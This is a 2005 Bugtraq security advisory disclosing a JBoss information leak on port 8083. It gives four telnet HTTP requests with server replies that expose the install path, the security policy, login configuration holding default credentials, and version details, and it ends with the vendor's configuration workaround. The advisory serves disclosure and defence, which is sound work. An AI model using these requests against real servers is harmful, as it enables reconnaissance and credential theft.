JBOSS 3.2.2-3.2.7 / 4.0.2 installation path disclosure / config disclosure / version fingerprinting

From: Marc Schoenefeld (marc.schoenefeld_at_gmx.org)
Date: 06/17/05

  • Next message: Daniel Fabian: "Source Code Disclosure in Yaws Webserver <1.56"
    Date: Fri, 17 Jun 2005 23:45:08 +0200
    To: "Bugtraq" <bugtraq@securityfocus.com>
    
    

    Security Advisory: JBOSS 3.2.2-3.2.7 / 4.0.2 installation path
    disclosure / config disclosure / version fingerprinting
    Date: 14/06/05
    URL: http://www.illegalaccess.org/java/jboss_path.php

    Problem:
    The default installation of JBoss reveals the path of the installation
    directory and
    allows fingerprinting of the server software version by an
    unauthenticated HTTP request.
    This is due to an information leak bug in the org.jboss.web.WebServer
    class.
    Unfortunately the JBoss developers did not follow the pattern of
    software reuse
    and invented their own webserver for RMI code download. The implementation
    when confronted with an expected HTTP request such as 'GET %.' reveals
    system platform information useful for an attacker. Due to the
    classloader architecture
    the RMI class download service on port 8083 also allows an attacker to
    fingerprint
    the version of the JBoss server and with version 4.0.2 to download all
    config files such
    as the security settings from the /conf directory.

    Example 1 (Installation path disclosure): [3.2.x and 4.0.2]
    Request:
    >>telnet [jbosshost] 8083
    >>GET %. HTTP/1.0

    Reply:
    HTTP/1.0 400 C:\Programme\jboss-4.0.2\server\default\conf (Zugriff
    verweigert)
    Content-Type: text/html

    Example 2 (Config file download): [4.0.2]
    Request:
    >>telnet [jbosshost] 8083
    >>GET %server.policy HTTP/1.0

    Replz>

    HTTP/1.0 200 OK
    Content-Length: 550
    Content-Type: text/html

    ///
    ====================================================================== ///
    //
    //
    // JBoss Security Policy //
    // //
    ///
    ====================================================================== ///

    // $Id: server.policy,v 1.4 2003/08/27 04:31:53 patriot1burke Exp $
    grant {
               // Allow everything for now
    permission java.security.AllPermission;
    };
    Verbindung zu Host verloren.

    Example 3 (Login config disclosure): [3.2.x and 4.0.2]:
    Request
    >> telnet [jbosshost] 8083
    >> GET %login-config.xml

    HTTP/1.0 200 OK
    Content-Length: 6692
    Content-Type: text/html
    <?xml version='1.0'?>
    <!DOCTYPE policy PUBLIC
        "-//JBoss//DTD JBOSS Security Config 3.0//EN"
        "http://www.jboss.org/j2ee/dtd/security_config.dtd">
    [...]
      <!-- Security domains for testing new jca framework -->
      <application-policy name = "HsqlDbRealm">
         <authentication>
            <login-module code =
    "org.jboss.resource.security.ConfiguredIdentityLoginModule"
               flag = "required">
               <module-option name = "principal">sa</module-option>
               <module-option name = "userName">sa</module-option>
               <module-option name = "password"></module-option>
               <module-option name =
    "managedConnectionFactoryName">jboss.jca:service=LocalTxCM,name=DefaultDS</module-option>

            </login-module>
         </authentication>
      </application-policy>

      <application-policy name = "JmsXARealm">
         <authentication>
            <login-module code =
    "org.jboss.resource.security.ConfiguredIdentityLoginModule"
               flag = "required">
               <module-option name = "principal">guest</module-option>
               <module-option name = "userName">guest</module-option>
               <module-option name = "password">guest</module-option>
               <module-option name =
    "managedConnectionFactoryName">jboss.jca:service=TxCM,name=JmsXA</module-option>

            </login-module>
         </authentication>
      </application-policy>
    [...]

    Example 4 (Version fingerprint): [3.2.x and 4.0.2]
    Request:
    >>telnet [jbosshost] 8083
    >>GET %org/jboss/version.properties HTTP/1.0

    Reply:
    HTTP/1.0 200 OK
    Content-Length: 1138
    Content-Type: text/html

    ###
    ====================================================================== ###
    ##
    ##
    ## Holds version properties for
    JBoss. ##
    ## ##
    ##
    ====================================================================== ###

    ### $Id: version.properties,v 1.1.26.1 2004/10/17 21:20:13 starksm Exp $
    ###

    # The version of the server
    version.major=4
    version.minor=0
    version.revision=2
    version.tag=
    version.name=Zion
    version.cvstag=JBoss_4_0_2

    # Build identifiers
    build.number=200505022023

    [and so on]

    Severity:
    Risk of information leakage.

    Workaround:
    The JBoss group was contacted on 6/12/05 and reacted with the suggestion
    to completely disable the
    download of server classes. But this brutal fix severely damages the
    functionality and usefulness
    of the application server :-( . It seems that they do not consider this
    to be a bug that needs
    a fix. I leave this uncommented... but anyway the following XML snippets
    demonstrates their fix...

    <mbean code="org.jboss.web.WebService"
        name="jboss:service=WebService">
        <attribute name="Port">8083</attribute>
        <!-- Should resources and non-EJB classes be downloadable -->
    <!-- old <attribute name="DownloadServerClasses">true</attribute> -->
    <!-- new --> <attribute name="DownloadServerClasses">false</attribute>
        <attribute name="Host">${jboss.bind.address}</attribute>
        <attribute name="BindAddress">${jboss.bind.address}</attribute>
     </mbean>


  • Next message: Daniel Fabian: "Source Code Disclosure in Yaws Webserver <1.56"